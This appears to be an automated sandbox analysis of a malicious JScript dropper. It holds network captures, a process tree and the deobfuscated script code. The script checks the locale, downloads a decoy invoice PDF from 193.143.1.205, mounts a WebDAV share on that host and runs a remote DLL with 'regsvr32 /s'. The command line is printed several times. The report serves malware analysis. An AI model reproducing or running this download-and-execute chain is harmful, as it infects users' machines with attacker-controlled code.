Jan 11, 2025 07:52:02.155236006 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 11, 2025 07:52:02.155270100 CET	1236	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 11, 2025 07:52:02.155304909 CET	672	IN	Data Raw: 86 d6 94 d0 d1 93 25 6b ce b8 cc f5 50 2f ec 14 66 23 a8 29 a1 29 fd 48 06 4d 0d f4 d9 b3 67 bf ff fe fb 6f ad 5f 23 b3 bf ff 7b 6b f6 2b 4d 12 95 11 d1 b0 c5 98 24 aa 4f f7 f3 4f 97 89 7a 7a 73 ef ab 48 98 a8 fc 61 a6 e1 e6 5e ad 1c a7 72 ed 2c Data Ascii: %kP/f#))HMgo_#{k+M$OOzzsHa^r,Y,,WUB5{i_}zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$
Jan 11, 2025 07:52:02.160211086 CET	1236	IN	Data Raw: 67 85 4b f2 95 36 b7 c8 74 d1 29 42 53 42 25 9c f9 a5 c7 9a ce b5 e1 d3 e5 7b 68 61 7a 4e 27 d1 9a c5 aa f5 25 ab e6 07 06 cc 88 e8 e8 14 ad 2e a1 f2 06 93 27 4a 8f 45 ff a2 e8 b1 68 49 a2 e9 95 ad 7c b3 5d 0d 85 6f 36 df b5 c3 37 5b ee 05 35 d7 Data Ascii: gK6t)BSB%{hazN'%.'JEhI\|]o67[5tEMN@h6wthe8vJXAuzV{<z8gqc0X-07~$3G{hI0 ?ASw$Ut#*G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	4180	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:52:04.339245081 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 07:52:05.110344887 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 06:52:04 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	01:51:57
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4483138622176223122.js"
Imagebase:	0x7ff671c50000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	01:51:57
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\86502495330843.dll
Imagebase:	0x7ff6e9b50000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	01:51:57
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	01:51:58
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	01:52:03
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	01:52:03
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6e9b50000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	01:52:03
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6f3670000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	01:52:04
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	01:52:04
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	01:52:04
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1756,i,3453486562507592478,12107872245695882816,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function qlbgot() {	qlbgot() ➔ undefined
1	mqfvnorh = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var qrkil = this[dkbnj + qresdu + qktcxhq + oqhab + jynqw + bbvnb + ompszoug + nagmjrw] ( this[isxyb + ubhabu + bvmcg + qktcxhq + utgvygx + dkbnj + nagmjrw][dmktwf + qktcxhq + jynqw + qresdu + nagmjrw + jynqw + sunibesds + vhhsbrd + rwywwlsb + jynqw + bvmcg + nagmjrw] ( isxyb + ubhabu + bvmcg + qktcxhq + utgvygx + dkbnj + nagmjrw + bnhdkin + ubhabu + ivqryl + jynqw + seztrjb + seztrjb ) [fplxv + jynqw + piwxu + fplxv + jynqw + qresdu + ufwyphia] ( ppouvq + cziotl + hoxlm + kjrxxitbl + cmwmwn + dmktwf + opchlkv + fplxv + fplxv + hoxlm + fegizfpef + sjpfq + cmwmwn + opchlkv + ubhabu + hoxlm + fplxv + ahtmzg + dmktwf + cojmkrbzg + ompszoug + nagmjrw + qktcxhq + cojmkrbzg + seztrjb + ebrbfropm + xqlldm + qresdu + ompszoug + jynqw + seztrjb + ahtmzg + bbvnb + ompszoug + nagmjrw + jynqw + qktcxhq + ompszoug + qresdu + nagmjrw + utgvygx + cojmkrbzg + ompszoug + qresdu + seztrjb + ahtmzg + zemkgxjt + cojmkrbzg + bvmcg + qresdu + seztrjb + jynqw ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( ielmr = 0 ; ielmr < mqfvnorh[seztrjb + jynqw + ompszoug + piwxu + nagmjrw + ivqryl] ; ++ ielmr )
4	{
5	if ( qrkil == mqfvnorh[ielmr] )
6	{
7	qrkil = true;
8	break ;
9	}
10	}
11	if ( qrkil !== true )
12	this[isxyb + ubhabu + bvmcg + qktcxhq + utgvygx + dkbnj + nagmjrw][ailkpgytj + qsbsoydfe + utgvygx + nagmjrw] ( );
13	this[isxyb + ubhabu + bvmcg + qktcxhq + utgvygx + dkbnj + nagmjrw][dmktwf + qktcxhq + jynqw + qresdu + nagmjrw + jynqw + sunibesds + vhhsbrd + rwywwlsb + jynqw + bvmcg + nagmjrw] ( isxyb + ubhabu + bvmcg + qktcxhq + utgvygx + dkbnj + nagmjrw + bnhdkin + ubhabu + ivqryl + jynqw + seztrjb + seztrjb ) [qktcxhq + qsbsoydfe + ompszoug] ( bvmcg + pbirmnwb + ufwyphia + ebrbfropm + dadhhrd + bvmcg + ebrbfropm + dkbnj + cojmkrbzg + dusbn + jynqw + qktcxhq + oqhab + ivqryl + jynqw + seztrjb + seztrjb + bnhdkin + jynqw + cejehe + jynqw + ebrbfropm + bsdneiaam + dmktwf + cojmkrbzg + pbirmnwb + pbirmnwb + qresdu + ompszoug + ufwyphia + ebrbfropm + okkfv + bbvnb + ompszoug + neymwfv + cojmkrbzg + xstcai + jynqw + bsdneiaam + isxyb + jynqw + vhhsbrd + fplxv + jynqw + dzkqtkc + qsbsoydfe + jynqw + oqhab + nagmjrw + ebrbfropm + bsdneiaam + sunibesds + qsbsoydfe + nagmjrw + hibqeex + utgvygx + seztrjb + jynqw + ebrbfropm + kgplvv + nagmjrw + jynqw + pbirmnwb + dkbnj + kgplvv + ahtmzg + utgvygx + ompszoug + neymwfv + cojmkrbzg + utgvygx + bvmcg + jynqw + bnhdkin + dkbnj + ufwyphia + jrcfdolyu + ebrbfropm + ivqryl + nagmjrw + nagmjrw + dkbnj + mytxtbgpc + dadhhrd + dadhhrd + fsihceiv + lyhip + czphxhnx + bnhdkin + fsihceiv + yxxvs + czphxhnx + bnhdkin + fsihceiv + bnhdkin + rwvmcdbrc + imgxwnxun + qcznz + dadhhrd + utgvygx + ompszoug + neymwfv + cojmkrbzg + utgvygx + bvmcg + jynqw + bnhdkin + dkbnj + ivqryl + dkbnj + okkfv + ynacfa + ynacfa + oqhab + nagmjrw + qresdu + qktcxhq + nagmjrw + ebrbfropm + kgplvv + nagmjrw + jynqw + pbirmnwb + dkbnj + kgplvv + ahtmzg + utgvygx + ompszoug + neymwfv + cojmkrbzg + utgvygx + bvmcg + jynqw + bnhdkin + dkbnj + ufwyphia + jrcfdolyu + ynacfa + ynacfa + bvmcg + pbirmnwb + ufwyphia + ebrbfropm + dadhhrd + bvmcg + ebrbfropm + ompszoug + jynqw + nagmjrw + ebrbfropm + qsbsoydfe + oqhab + jynqw + ebrbfropm + ahtmzg + ahtmzg + fsihceiv + lyhip + czphxhnx + bnhdkin + fsihceiv + yxxvs + czphxhnx + bnhdkin + fsihceiv + bnhdkin + rwvmcdbrc + imgxwnxun + qcznz + kncwvyx + gnnkgemf + gnnkgemf + gnnkgemf + gnnkgemf + ahtmzg + ufwyphia + qresdu + neymwfv + dusbn + dusbn + dusbn + qktcxhq + cojmkrbzg + cojmkrbzg + nagmjrw + ahtmzg + ynacfa + ynacfa + bvmcg + pbirmnwb + ufwyphia + ebrbfropm + dadhhrd + bvmcg + ebrbfropm + qktcxhq + jynqw + piwxu + oqhab + neymwfv + qktcxhq + czphxhnx + rwvmcdbrc + ebrbfropm + dadhhrd + oqhab + ebrbfropm + ahtmzg + ahtmzg + fsihceiv + lyhip + czphxhnx + bnhdkin + fsihceiv + yxxvs + czphxhnx + bnhdkin + fsihceiv + bnhdkin + rwvmcdbrc + imgxwnxun + qcznz + kncwvyx + gnnkgemf + gnnkgemf + gnnkgemf + gnnkgemf + ahtmzg + ufwyphia + qresdu + neymwfv + dusbn + dusbn + dusbn + qktcxhq + cojmkrbzg + cojmkrbzg + nagmjrw + ahtmzg + gnnkgemf + ticerw + qcznz + imgxwnxun + rwvmcdbrc + yxxvs + lyhip + qcznz + czphxhnx + czphxhnx + imgxwnxun + gnnkgemf + yxxvs + czphxhnx + bnhdkin + ufwyphia + seztrjb + seztrjb, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\86502495330843.dll",0,false) ➔ 0
14	}
15	yxxvs = "o";
16	yxxvs = "M";
17	yxxvs = "r";
18	yxxvs = "j";
19	yxxvs = "z";
20	yxxvs = "e";
21	yxxvs = "o";
22	yxxvs = "l";
23	yxxvs = "X";
24	yxxvs = "V";
25	yxxvs = "z";
26	yxxvs = "e";
27	yxxvs = "u";
28	yxxvs = "M";
29	yxxvs = "j";
30	yxxvs = "t";
31	yxxvs = "n";
32	yxxvs = "r";
33	yxxvs = "G";
34	yxxvs = "u";
35	yxxvs = "A";
36	yxxvs = "a";
37	yxxvs = "x";
38	yxxvs = "C";
39	yxxvs = "f";
40	yxxvs = "P";
41	yxxvs = "o";
42	yxxvs = "n";
43	yxxvs = "Z";
44	yxxvs = "e";
45	yxxvs = "t";
46	yxxvs = "t";
47	yxxvs = "r";
48	yxxvs = "J";
49	yxxvs = "c";
50	yxxvs = "r";
51	yxxvs = "W";
52	yxxvs = "M";
53	yxxvs = "Z";
54	yxxvs = "e";
55	yxxvs = "4";
56	isxyb = "K";
57	isxyb = "N";
58	isxyb = "Z";
59	isxyb = "P";
60	isxyb = "U";
61	isxyb = "I";
62	isxyb = "l";
63	isxyb = "j";
64	isxyb = "n";
65	isxyb = "g";
66	isxyb = "C";
67	isxyb = "w";
68	isxyb = "M";
69	isxyb = "c";
70	isxyb = "C";
71	isxyb = "O";
72	isxyb = "H";
73	isxyb = "v";
74	isxyb = "b";
75	isxyb = "W";
76	isxyb = "c";
77	isxyb = "Q";
78	isxyb = "S";
79	isxyb = "W";
80	isxyb = "Z";
81	isxyb = "k";
82	isxyb = "W";
83	isxyb = "b";
84	isxyb = "o";
85	isxyb = "p";
86	isxyb = "S";
87	isxyb = "i";
88	isxyb = "y";
89	isxyb = "N";
90	isxyb = "F";
91	isxyb = "W";
92	ebrbfropm = "n";
93	ebrbfropm = "J";
94	ebrbfropm = "y";
95	ebrbfropm = "A";
96	ebrbfropm = "O";
97	ebrbfropm = "p";
98	ebrbfropm = "Q";
99	ebrbfropm = "z";
100	ebrbfropm = "k";
101	ebrbfropm = "u";
102	ebrbfropm = "U";
103	ebrbfropm = "N";
104	ebrbfropm = "r";
105	ebrbfropm = "A";
106	ebrbfropm = "W";
107	ebrbfropm = "N";
108	ebrbfropm = "g";
109	ebrbfropm = "O";
110	ebrbfropm = "O";
111	ebrbfropm = "f";
112	ebrbfropm = "N";
113	ebrbfropm = "t";
114	ebrbfropm = "S";
115	ebrbfropm = "q";
116	ebrbfropm = "W";
117	ebrbfropm = "y";
118	ebrbfropm = "C";
119	ebrbfropm = "r";
120	ebrbfropm = "r";
121	ebrbfropm = "s";
122	ebrbfropm = "N";
123	ebrbfropm = " ";
124	dmktwf = "g";
125	dmktwf = "s";
126	dmktwf = "G";
127	dmktwf = "Z";
128	dmktwf = "m";
129	dmktwf = "p";
130	dmktwf = "M";
131	dmktwf = "G";
132	dmktwf = "u";
133	dmktwf = "I";
134	dmktwf = "E";
135	dmktwf = "C";
136	vhhsbrd = "I";
137	vhhsbrd = "p";
138	vhhsbrd = "g";
139	vhhsbrd = "c";
140	vhhsbrd = "r";
141	vhhsbrd = "J";
142	vhhsbrd = "D";
143	vhhsbrd = "D";
144	vhhsbrd = "K";
145	vhhsbrd = "o";
146	vhhsbrd = "u";
147	vhhsbrd = "l";
148	vhhsbrd = "f";
149	vhhsbrd = "F";
150	vhhsbrd = "f";
151	vhhsbrd = "o";
152	vhhsbrd = "O";
153	vhhsbrd = "P";
154	vhhsbrd = "Q";
155	vhhsbrd = "Y";
156	vhhsbrd = "Y";
157	vhhsbrd = "d";
158	vhhsbrd = "z";
159	vhhsbrd = "b";
160	ompszoug = "n";
161	hoxlm = "a";
162	hoxlm = "x";
163	hoxlm = "C";
164	hoxlm = "x";
165	hoxlm = "G";
166	hoxlm = "h";
167	hoxlm = "L";
168	hoxlm = "p";
169	hoxlm = "b";
170	hoxlm = "X";
171	hoxlm = "c";
172	hoxlm = "D";
173	hoxlm = "O";
174	hoxlm = "Z";
175	hoxlm = "P";
176	hoxlm = "f";
177	hoxlm = "d";
178	hoxlm = "y";
179	hoxlm = "Y";
180	hoxlm = "p";
181	hoxlm = "j";
182	hoxlm = "C";
183	hoxlm = "k";
184	hoxlm = "V";
185	hoxlm = "V";
186	hoxlm = "b";
187	hoxlm = "q";
188	hoxlm = "U";
189	hoxlm = "Y";
190	hoxlm = "p";
191	hoxlm = "c";
192	hoxlm = "j";
193	hoxlm = "Q";
194	hoxlm = "Z";
195	hoxlm = "r";
196	hoxlm = "a";
197	hoxlm = "a";
198	hoxlm = "u";
199	hoxlm = "E";
200	ailkpgytj = "T";
201	ailkpgytj = "w";
202	ailkpgytj = "s";
203	ailkpgytj = "t";
204	ailkpgytj = "s";
205	ailkpgytj = "M";
206	ailkpgytj = "S";
207	ailkpgytj = "M";
208	ailkpgytj = "c";
209	ailkpgytj = "x";
210	ailkpgytj = "F";
211	ailkpgytj = "R";
212	ailkpgytj = "A";
213	ailkpgytj = "k";
214	ailkpgytj = "v";
215	ailkpgytj = "u";
216	ailkpgytj = "V";
217	ailkpgytj = "w";
218	ailkpgytj = "w";
219	ailkpgytj = "D";
220	ailkpgytj = "t";
221	ailkpgytj = "K";
222	ailkpgytj = "B";
223	ailkpgytj = "k";
224	ailkpgytj = "N";
225	ailkpgytj = "Q";
226	jynqw = "t";
227	jynqw = "G";
228	jynqw = "q";
229	jynqw = "A";
230	jynqw = "U";
231	jynqw = "h";
232	jynqw = "x";
233	jynqw = "K";
234	jynqw = "H";
235	jynqw = "j";
236	jynqw = "Z";
237	jynqw = "g";
238	jynqw = "e";
239	rwywwlsb = "Z";
240	rwywwlsb = "z";
241	rwywwlsb = "j";
242	rwywwlsb = "Z";
243	rwywwlsb = "R";
244	rwywwlsb = "T";
245	rwywwlsb = "g";
246	rwywwlsb = "n";
247	rwywwlsb = "e";
248	rwywwlsb = "Y";
249	rwywwlsb = "f";
250	rwywwlsb = "q";
251	rwywwlsb = "M";
252	rwywwlsb = "Z";
253	rwywwlsb = "K";
254	rwywwlsb = "O";
255	rwywwlsb = "s";
256	rwywwlsb = "j";
257	rwywwlsb = "q";
258	rwywwlsb = "e";
259	rwywwlsb = "E";
260	rwywwlsb = "G";
261	rwywwlsb = "b";
262	rwywwlsb = "i";
263	rwywwlsb = "U";
264	rwywwlsb = "d";
265	rwywwlsb = "f";
266	rwywwlsb = "J";
267	rwywwlsb = "t";
268	rwywwlsb = "S";
269	rwywwlsb = "Q";
270	rwywwlsb = "o";
271	rwywwlsb = "J";
272	rwywwlsb = "O";
273	rwywwlsb = "h";
274	rwywwlsb = "Q";
275	rwywwlsb = "j";
276	fsihceiv = "1";
277	kncwvyx = "O";
278	kncwvyx = "H";
279	kncwvyx = "@";
280	xstcai = "N";
281	xstcai = "P";
282	xstcai = "A";
283	xstcai = "C";
284	xstcai = "h";
285	xstcai = "B";
286	xstcai = "z";
287	xstcai = "a";
288	xstcai = "k";
289	dzkqtkc = "u";
290	dzkqtkc = "e";
291	dzkqtkc = "A";
292	dzkqtkc = "C";
293	dzkqtkc = "H";
294	dzkqtkc = "V";
295	dzkqtkc = "v";
296	dzkqtkc = "o";
297	dzkqtkc = "C";
298	dzkqtkc = "T";
299	dzkqtkc = "R";
300	dzkqtkc = "W";
301	dzkqtkc = "S";
302	dzkqtkc = "h";
303	dzkqtkc = "D";
304	dzkqtkc = "Y";
305	dzkqtkc = "G";
306	dzkqtkc = "E";
307	dzkqtkc = "l";
308	dzkqtkc = "A";
309	dzkqtkc = "j";
310	dzkqtkc = "l";
311	dzkqtkc = "v";
312	dzkqtkc = "L";
313	dzkqtkc = "Y";
314	dzkqtkc = "H";
315	dzkqtkc = "e";
316	dzkqtkc = "O";
317	dzkqtkc = "s";
318	dzkqtkc = "R";
319	dzkqtkc = "C";
320	dzkqtkc = "F";
321	dzkqtkc = "t";
322	dzkqtkc = "c";
323	dzkqtkc = "D";
324	dzkqtkc = "b";
325	dzkqtkc = "N";
326	dzkqtkc = "a";
327	dzkqtkc = "l";
328	dzkqtkc = "q";
329	ticerw = "k";
330	ticerw = "f";
331	ticerw = "A";
332	ticerw = "s";
333	ticerw = "T";
334	ticerw = "f";
335	ticerw = "y";
336	ticerw = "N";
337	ticerw = "H";
338	ticerw = "a";
339	ticerw = "x";
340	ticerw = "j";
341	ticerw = "h";
342	ticerw = "I";
343	ticerw = "s";
344	ticerw = "e";
345	ticerw = "H";
346	ticerw = "Q";
347	ticerw = "m";
348	ticerw = "Z";
349	ticerw = "H";
350	ticerw = "E";
351	ticerw = "P";
352	ticerw = "a";
353	ticerw = "x";
354	ticerw = "Z";
355	ticerw = "R";
356	ticerw = "6";
357	piwxu = "u";
358	piwxu = "k";
359	piwxu = "c";
360	piwxu = "n";
361	piwxu = "c";
362	piwxu = "g";
363	piwxu = "m";
364	piwxu = "p";
365	piwxu = "V";
366	piwxu = "w";
367	piwxu = "H";
368	piwxu = "Y";
369	piwxu = "a";
370	piwxu = "J";
371	piwxu = "B";
372	piwxu = "l";
373	piwxu = "y";
374	piwxu = "G";
375	piwxu = "q";
376	piwxu = "g";
377	cziotl = "Z";
378	cziotl = "H";
379	cziotl = "q";
380	cziotl = "x";
381	cziotl = "X";
382	cziotl = "v";
383	cziotl = "D";
384	cziotl = "d";
385	cziotl = "K";
386	dadhhrd = "Q";
387	dadhhrd = "E";
388	dadhhrd = "z";
389	dadhhrd = "s";
390	dadhhrd = "C";
391	dadhhrd = "U";
392	dadhhrd = "Z";
393	dadhhrd = "A";
394	dadhhrd = "F";
395	dadhhrd = "b";
396	dadhhrd = "C";
397	dadhhrd = "p";
398	dadhhrd = "O";
399	dadhhrd = "q";
400	dadhhrd = "B";
401	dadhhrd = "/";
402	zemkgxjt = "k";
403	zemkgxjt = "k";
404	zemkgxjt = "F";
405	zemkgxjt = "B";
406	zemkgxjt = "c";
407	zemkgxjt = "x";
408	zemkgxjt = "t";
409	zemkgxjt = "s";
410	zemkgxjt = "S";
411	zemkgxjt = "A";
412	zemkgxjt = "z";
413	zemkgxjt = "d";
414	zemkgxjt = "E";
415	zemkgxjt = "a";
416	zemkgxjt = "s";
417	zemkgxjt = "M";
418	zemkgxjt = "w";
419	zemkgxjt = "B";
420	zemkgxjt = "d";
421	zemkgxjt = "q";
422	zemkgxjt = "U";
423	zemkgxjt = "d";
424	zemkgxjt = "J";
425	zemkgxjt = "t";
426	zemkgxjt = "D";
427	zemkgxjt = "f";
428	zemkgxjt = "F";
429	zemkgxjt = "K";
430	zemkgxjt = "q";
431	zemkgxjt = "P";
432	zemkgxjt = "p";
433	zemkgxjt = "q";
434	zemkgxjt = "q";
435	zemkgxjt = "L";
436	zemkgxjt = "b";
437	zemkgxjt = "y";
438	zemkgxjt = "F";
439	zemkgxjt = "L";
440	sunibesds = "b";
441	sunibesds = "k";
442	sunibesds = "v";
443	sunibesds = "P";
444	sunibesds = "n";
445	sunibesds = "w";
446	sunibesds = "u";
447	sunibesds = "H";
448	sunibesds = "l";
449	sunibesds = "q";
450	sunibesds = "F";
451	sunibesds = "z";
452	sunibesds = "Z";
453	sunibesds = "I";
454	sunibesds = "y";
455	sunibesds = "N";
456	sunibesds = "I";
457	sunibesds = "e";
458	sunibesds = "c";
459	sunibesds = "V";
460	sunibesds = "U";
461	sunibesds = "w";
462	sunibesds = "y";
463	sunibesds = "A";
464	sunibesds = "l";
465	sunibesds = "V";
466	sunibesds = "X";
467	sunibesds = "X";
468	sunibesds = "z";
469	sunibesds = "k";
470	sunibesds = "H";
471	sunibesds = "N";
472	sunibesds = "b";
473	sunibesds = "C";
474	sunibesds = "h";
475	sunibesds = "o";
476	sunibesds = "g";
477	sunibesds = "g";
478	sunibesds = "B";
479	sunibesds = "t";
480	sunibesds = "O";
481	sunibesds = "I";
482	sunibesds = "I";
483	sunibesds = "d";
484	sunibesds = "O";
485	oqhab = "E";
486	oqhab = "n";
487	oqhab = "s";
488	dusbn = "S";
489	dusbn = "D";
490	dusbn = "T";
491	dusbn = "D";
492	dusbn = "U";
493	dusbn = "A";
494	dusbn = "H";
495	dusbn = "r";
496	dusbn = "W";
497	dusbn = "h";
498	dusbn = "A";
499	dusbn = "w";
500	gnnkgemf = "N";
501	gnnkgemf = "z";
502	gnnkgemf = "P";
503	gnnkgemf = "A";
504	gnnkgemf = "I";
505	gnnkgemf = "E";
506	gnnkgemf = "P";
507	gnnkgemf = "I";
508	gnnkgemf = "N";
509	gnnkgemf = "a";
510	gnnkgemf = "K";
511	gnnkgemf = "R";
512	gnnkgemf = "K";
513	gnnkgemf = "f";
514	gnnkgemf = "X";
515	gnnkgemf = "8";
516	hibqeex = "X";
517	hibqeex = "N";
518	hibqeex = "k";
519	hibqeex = "Q";
520	hibqeex = "g";
521	hibqeex = "q";
522	hibqeex = "l";
523	hibqeex = "b";
524	hibqeex = "H";
525	hibqeex = "e";
526	hibqeex = "W";
527	hibqeex = "N";
528	hibqeex = "F";
529	nagmjrw = "A";
530	nagmjrw = "p";
531	nagmjrw = "m";
532	nagmjrw = "x";
533	nagmjrw = "G";
534	nagmjrw = "d";
535	nagmjrw = "R";
536	nagmjrw = "n";
537	nagmjrw = "v";
538	nagmjrw = "b";
539	nagmjrw = "o";
540	nagmjrw = "n";
541	nagmjrw = "r";
542	nagmjrw = "M";
543	nagmjrw = "c";
544	nagmjrw = "e";
545	nagmjrw = "L";
546	nagmjrw = "v";
547	nagmjrw = "a";
548	nagmjrw = "G";
549	nagmjrw = "x";
550	nagmjrw = "Y";
551	nagmjrw = "t";
552	nagmjrw = "r";
553	nagmjrw = "c";
554	nagmjrw = "Y";
555	nagmjrw = "k";
556	nagmjrw = "Y";
557	nagmjrw = "u";
558	nagmjrw = "D";
559	nagmjrw = "g";
560	nagmjrw = "I";
561	nagmjrw = "v";
562	nagmjrw = "z";
563	nagmjrw = "E";
564	nagmjrw = "A";
565	nagmjrw = "z";
566	nagmjrw = "X";
567	nagmjrw = "G";
568	nagmjrw = "t";
569	cojmkrbzg = "x";
570	cojmkrbzg = "Y";
571	cojmkrbzg = "u";
572	cojmkrbzg = "L";
573	cojmkrbzg = "W";
574	cojmkrbzg = "D";
575	cojmkrbzg = "P";
